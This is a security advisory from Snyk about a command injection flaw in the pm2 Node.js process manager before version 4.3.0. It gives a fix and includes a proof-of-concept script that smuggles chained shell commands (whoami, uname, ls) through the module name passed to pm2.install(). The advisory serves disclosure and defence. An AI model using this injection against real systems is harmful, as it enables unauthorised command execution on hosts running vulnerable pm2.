Command Injection Affecting pm2 package, versions <4.3.0
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Test your applications- Snyk ID SNYK-JS-PM2-474304
- published 25 Oct 2019
- disclosed 24 Oct 2019
- credit bl4de
How to fix?
Upgrade pm2 to version 4.3.0 or higher.
Overview
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install() method within lib/API/Modules/Modularizer.js as an unsanitized module_name variable. This input is eventually provided to the spawn() function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH command.
PoC by bl4de
// pm2_exploit.js
'use strict'
const pm2 = require('pm2')
// payload - user controllable input
const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"
pm2.connect(function (err) {
if (err) {
console.error(err)
process.exit(2)
}
pm2.start({
script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2
}, (err, apps) => {
pm2.install(payload, {}) // injection
pm2.disconnect()
if (err) {
throw err
}
})
})